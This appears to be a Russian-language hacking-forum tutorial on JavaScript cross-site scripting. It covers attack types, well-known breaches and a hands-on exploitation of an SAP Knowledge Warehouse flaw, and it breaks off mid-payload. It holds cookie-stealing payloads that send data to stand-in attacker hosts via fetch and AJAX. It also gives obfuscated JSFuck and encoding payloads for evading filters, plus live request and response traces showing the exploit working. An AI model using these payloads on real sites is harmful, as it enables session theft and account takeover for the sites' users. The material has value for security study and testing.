XSS[is] JavaScript Damage
https://xss.pro/attachments/71801/
Эта статья про XSS-атаки основанные на JavaScript, она резюмирует первую часть этой серии, которая фокусировалась на инъекциях HTML/CSS. Мы увидим полную мощь XSS и обратимся к случаям, которые произошли в прошлом. Это не очередная статья об "alert(1)".
Содержание
1. JavaScript-основанные XSS2. JavaScript в веб-приложениях
3. Типы XSS
4. Функциональные возможности JavaScript, используемые в атаках XSS
5. Некоторые случаи с XSS
6. Рукопашная
JavaScript-основанные XSS
JavaScript-основанный XSS - это уязвимость, при которой злоумышленник внедряет вредоносный код JavaScript в веб-страницу, просматриваемую другими пользователями. В отличие от инъекций HTML/CSS, которые изменяют структуру или стиль веб-страницы, JavaScript XSS нацелен на функциональность, используя динамическую природу JavaScript.Основные отличия от инъекций HTML/CSS
Область воздействия: JavaScript может манипулировать API браузера и данными пользовательских сессий.Интерактивность: JavaScript XSS может создавать интерактивные вредоносные скрипты.
Доступ к данным: JavaScript-основанный XSS может получать доступ к конфиденциальной информации, такой как куки и токены.
Первая часть нашей серии исследовала уязвимости инъекций HTML и CSS. Инъекция HTML влияет на структуру страницы, в то время как инъекция CSS манипулирует визуальной презентацией. Эти атаки могут нарушить макет веб-сайта, но обычно не выполняют вредоносные скрипты и не получают доступ к данным пользователя.
JavaScript в веб-приложениях
JavaScript имеет ключевое значение в современной веб-разработке, управляя интерактивными и динамическими аспектами веб-приложений. Однако его функции также открывают пути для уязвимостей, таких как XSS.Асинхронные операции с AJAX
AJAX (Асинхронный JavaScript и XML) позволяет веб-приложениям асинхронно отправлять и получать данные с сервера, не вмешиваясь в отображение и поведение существующей страницы. Это означает, что веб-приложения могут динамически обновлять содержимое, обеспечивая более плавный пользовательский опыт.Фреймворки и библиотеки для фронтенда
Фреймворки, такие как React, Angular и Vue.js, основаны на JavaScript. Они предлагают повторно используемые компоненты и реактивную привязку данных, позволяя разрабатывать сложные одностраничные приложения. По сути, они широко используются.JavaScript на стороне сервера
С появлением Node.js, JavaScript можно использовать не только на стороне клиента, но и на стороне сервера. Это позволило разработчикам использовать единый язык программирования на всем стеке веб-разработки.Типы XSS
Отраженные XSS
Отраженные XSS-атаки происходят, когда злоумышленник отправляет вредоносный скрипт пользователю, часто через ссылку. Затем скрипт выполняется браузером пользователя как часть взаимодействия жертвы с веб-сайтом.Запрос, отправленный пользователем
Код:
http://xacker.mamkin/search?query=<script>alert('XSS')</script>
Код:
var searchQuery = request.getParameter("query");
response.write("<div>Results for " + searchQuery + "</div>");
Сохраненные XSS
Атаки сохраненных XSS происходят, когда злоумышленник сохраняет вредоносный скрипт в базе данных веб-сайта, который затем отображается и выполняется, когда другие пользователи открывают ту страницу.Допустим, злоумышленник отправляет запрос, который хранится в базе данных, и когда пользователь открывает веб-сайт, код выполняется.
Код:
<script>fetch('http://xacker.mamkin/?cookie=' + document.cookie)</script>
Код:
<div>
User Comments:
<p><script>fetch('http://malicious-site.com/?cookie=' + document.cookie)</script></p>
</div>
DOM-основанные XSS
DOM-основанные XSS-атаки манипулируют объектной моделью документа (DOM) веб-страницы, часто изменяя URL и заставляя JavaScript выполнять вредоносный код на основе этой манипуляции.Запрос, отправленный пользователем
Код:
http://xacker.mamkin/#<script>alert('XSS')</script>
Код:
var fragment = window.location.hash.slice(1);
document.getElementById('content').innerHTML = fragment;
Функциональные возможности JavaScript, используемые в атаках XSS
Хотя JavaScript обогащает веб-приложения, он также вводит потенциальные риски безопасности. XSS-атаки часто используют определенные аспекты JavaScript для выполнения вредоносного кода в браузере пользователя.Манипуляция с DOM
Объектная модель документа (DOM) - это API для HTML и XML-документов, который предоставляет структурированное представление документа и определяет, как документы могут быть доступны и изменены. В XSS-атаках вредоносные скрипты часто манипулируют DOM для вставки или изменения содержимого веб-страницы.Например, предположим, что у нас есть веб-сайт, подобный этому:
Код:
<!DOCTYPE html>
<html>
<head>
<title>Sample Page</title>
</head>
<body>
<div id="someElement">Initial Content</div>
</body>
</html>
Код:
document.getElementById('someElement').innerHTML = 'XSScodeHere';
Код:
<!DOCTYPE html>
<html>
<head>
<title>Sample Page</title>
</head>
<body>
<div id="someElement">XSScodeHere</div>
</body>
</html>
Когда мы вводим данные, исходный код (CTRL+U) не изменится, но «инспектирование», которое мы делаем с помощью инструментов разработчика браузера, покажет отредактированный код. Вот почему я хочу добавить поддержку хромиума в мои инструменты, но я все еще думаю об этом, так как это также потребует много ресурсов.
P.S. Очевидно, что мы должны заменить "XSScodeHere" на что-то вредоносное, я дам несколько примеров ниже.
Обработчики событий
JavaScript может назначать функции для выполнения, когда происходят определенные события, такие как клики мыши или ввод с клавиатуры. Злоумышленники могут встраивать вредоносный код в эти обработчики событий.В этом случае вредоносная функция может быть кодом, выполняющим несанкционированные действия, такие как кража куки или перенаправление пользователя на вредоносный сайт:
Код:
<button onclick="maliciousFunction()">Click Me</button>
Код:
<button onclick="alert(1)">Click Me</button>
Запросы AJAX
AJAX может быть использован для отправки данных на вредоносный сервер или получения данных с него без ведома пользователя.Этот скрипт отправляет куки пользователя на вредоносный сервер:
Код:
$.ajax({
url: 'http://xacker.mamkin/steal-data',
type: 'POST',
data: { sensitiveData: document.cookie }
});
Некоторые случаи с XSS
Все мы знаем, что атаки с использованием инъекций SQL представляют большую угрозу для извлечения данных, по сути, они более серьезны, чем XSS в большинстве случаев. Это потому, что XSS обычно требует взаимодействия пользователя. Я хочу сказать, что XSS недооценивается WhiteHat-ами и переоценивается BlackHat-ами xD. Программы вознаграждения за нахождение уязвимостей (bug bounty) обычно платят немного за XSS, так как это требует взаимодействия пользователя, в то время как это может быть прибыльным в «темном» бизнесе. Давайте рассмотрим некоторые случаи из прошлого:British Airways (2018): British Airways столкнулись с серьезной утечкой данных из-за атаки XSS, выполненной группой хакеров Magecart. Группа использовала уязвимость в библиотеке JavaScript под названием Feedify, которая использовалась на сайте British Airways. Они модифицировали скрипт для отправки данных клиентов на вредоносный сервер, имитируя домен British Airways, тем самым успешно осуществив скимминг кредитных карт 380 000 транзакций бронирования. Злоумышленники были настолько искусны, что использовали SSL-сертификат для своего поддельного сервера, делая его безопасным в глазах пользователей и браузеров.
С точки зрения WhiteHat:
Это привело к штрафу в 230 миллионов долларов (https://www.reflectiz.com/blog/brit...arty-breach-leads-to-a-230-million-gdpr-fine/), если бы уязвимость была сообщена, ответ, вероятно, был бы либо «Проблема в стороннем компоненте и нас не касается», либо если бы WhiteHat сообщил об этом как о «Использовании необслуживаемых сторонних компонентов (CWE-1104)», то это было бы рассмотрено как низкая или средняя угроза, потому что ее использование считалось бы незаконным, и воздействие, вероятно, не было бы большим, так как она не была использована. Типо никто не понял бы насколько уязвимость может навредить не воспользовавшись ею. Вознаграждение за сообщение об уязвимости составило бы от 5 до 10 тысяч долларов, эти цифры не "вымышлены", они реальны (https://www.hackerone.com/application-security/reducing-risk-bug-bounty-program).
Вывод здесь в том, что платформы Bug Bounty отлично подходят для компаний, чтобы избежать такого поведения. Что касается моих собственных мыслей об этом, WhiteHat делают то что делают, в основном ради своей репутации, а вознаграждение для них как чаевые.
С точки зрения BlackHat:
Я не BlackHat, поправьте меня, если я ошибаюсь. Я думаю, что BlackHat должен был извлечь данные, иначе продемонстрировать воздействие было бы невозможно, и это то, что они сделали, так что хороший ход. Вопрос в том, что случилось с этими данными? Я не смог найти никакой информации в интернете, очевидно, мы знаем, что они были проданы, главный вопрос в том, «Кому?»
Fortnite (2019): Популярная онлайн-игра Fortnite столкнулась с потенциальной атакой XSS, которая могла привести к значительному нарушению данных. Незащищенная, устаревшая веб-страница на сайте игры содержала опасную уязвимость XSS, предоставляя злоумышленникам потенциальный доступ к 200 миллионам пользователей. Атака могла позволить украсть виртуальную валюту игры и записать разговоры игроков, предоставляя ценную информацию для будущих атак. Исследователи безопасности из Check Point обнаружили и сообщили об этой уязвимости Fortnite.
Есть видео PoC:
Как видно из видео, это требует взаимодействия пользователя, поэтому вознаграждение WhiteHat здесь, вероятно, будет таким же, как и в случае с British Airways, ущерб от BlackHat будет немного меньше, чем тот, который был нанесен British Airways. Я думаю, мы будем в будущем ссылаться на эти случаи, чтобы понять, насколько плохо была использована атака XSS xD
eBay (2015-2016): eBay столкнулась с серьезной уязвимостью XSS, где веб-сайт использовал параметр "url" для перенаправления без проверки его значения. Это позволило злоумышленникам внедрить вредоносный код в платформу, потенциально получив полный доступ к аккаунтам продавцов eBay, манипулируя списками товаров и крадя платежные данные. Эта уязвимость активно использовалась злоумышленниками для манипуляции с объявлениями о продаже высокоценных товаров, таких как транспортные средства.
Уязвимость в British Airways был на самом деле сохранённый XSS, хотя она была связана со сторонними компонентами, уязвимость в EpicGames была в своем собственном домене, это была проблема с CORS. Если я правильно понял новости, параметр URL использовался для внедрения iframe на вредоносный сайт, так что случай с eBay скорее проблема CSP. У меня нет нормального источника, чтобы дать точную информацию, но я почти уверен, что это, вероятно, на том же уровне, что и уязвимость в Fortnite, или, возможно, немного выше, потому что это в основном домене. Но в этих случаях это важно для WhiteHat, а не для BlackHat, потому что BlackHat, вероятно, будут использовать короткую ссылку, так как отраженный XSS для кражи данных будет использовать «подозрительный» пейлоад, он будет длинным, так что в случаях с Fortnite и eBay они должны быть одинаковыми в глазах BlackHat (я думаю), для WhiteHat, eBay более серьезна, так как это в основном домене, нас не волнует, насколько велик пейлоад, так сильно как то где уязвимость найдена, в оценке CVSS нет «длины пейлоада» xD
Теперь у меня возникла идея, мы должны создать свою собственную оценку и добавить «Длину пейлоада», потому что это важно. Я назову это XSS, eXploitation Severity Score.
Обход санитаризации ввода
Злоумышленники постоянно разрабатывают сложные техники для обхода клиентских мер санитаризации и безопасности. Очевидно, что есть много методов для этого, и те, которые я здесь объясняю, лишь часть того, что существует в дикой природе. Мы можем видеть, как люди ежедневно делают посты в X (twitter) с обходом Cloudflare/Akamai, хотя иногда может сработать простое копирование и вставка, обходы выполняются через ручные тесты, путем понимания того, что блокируется/санитаризируется.Использование расширенного кодирования
Браузеры могут интерпретировать различные кодировки, и злоумышленники часто используют эту особенность для «скрытия» пейлоадов.
Код:
<script>alert('XSS');</script>
Код:
<script>alert(String.fromCharCode(88,83,83));</script>
Замаскировка Скриптов
Замаскировка включает в себя маскировку вредоносного скрипта для того, чтобы избежать его обнаружения. (да, звучит тупо)
Код:
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
Метод обфускации, который почти всегда работает для меня, - это использование JSFuck (https://jsfuck.com):
Код:
<script>
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
<script>
Переводится как:
Код:
<script>alert(1)</script>
Использование Атрибутов HTML5
HTML5 ввел несколько новых атрибутов, которые могут быть использованы для эксплуатации XSS.
Код:
<audio src="malicious.mp3" onerror="alert('XSS')"></audio>
Рукопашная
Всё, что написано выше, - это лишь основы, случаи разные. Я объясню охоту в дикой природе так, как я это делаю. Это может быть через 2 пути, автоматизированный (или как я его называю, ак47), или рукопашный. Я уже объяснил автоматизацию с помощью kXSS и Bablo, так что я расскажу о других вещах. Все мы иногда играем с Nuclei, и у них есть шаблон для CVE-2021-42063. Давайте посмотрим, что там есть. У меня есть уязвимая цель, и я буду анализировать её в слепую. Это может быть самым странным анализом эксплойта.Шаблон:
Код:
id: CVE-2021-42063
info:
name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
author: pdteam
severity: medium
description: |
SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
remediation: |
Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
reference:
- https://seclists.org/fulldisclosure/2022/Mar/32
- https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
- https://twitter.com/MrTuxracer/status/1505934549217382409
- https://nvd.nist.gov/vuln/detail/CVE-2021-42063
- http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-42063
cwe-id: CWE-79
epss-score: 0.00491
epss-percentile: 0.73418
cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sap
product: knowledge_warehouse
shodan-query: http.favicon.hash:-266008933
zoomeye-query: +app:"SAP NetWeaver Application Server httpd
tags: cve2021,sap,xss,seclists,packetstorm,cve
http:
- method: GET
path:
- "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<SVG ONLOAD=alert(document.domain)>"
- "SAPIKS2"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
- Почему это HTML-кодировка?
- Почему это написано прописными буквами?
- Почему это заканчивается на .asp, что если я его уберу?
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet.asp HTTP/2
Код:
<html>
<head>
<meta data-fr-http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/PIRIVETPIRIVET">
</head>
<body>
</body>
</html>
Запрос:
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet HTTP/2
Код:
HTTP/2 404 Not Found
Запрос:
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><h1>test</h1>.asp HTTP/2
https://xss.pro/attachments/71824/
Изображение [1]
Как мы видим из скриншота, HTML-инъекция работает, и нам удалось выйти из мета-тега. Теперь у нас есть несколько способов эксплуатации этой уязвимости, я буду использовать немного другой подход, но перед тем как начать с другого подхода, давайте проверим JSFuck. Я начинаю с JSFuck, потому что другие простые/базовые пейлоады не будут работать, так как они будут преобразованы в верхний регистр.Изображение [1]
Запрос:
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>.asp HTTP/2
Код:
HTTP/2 403 Forbidden
Запрос:
Код:
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>.asp HTTP/2
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/"><IMG SRC=X ONERROR=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(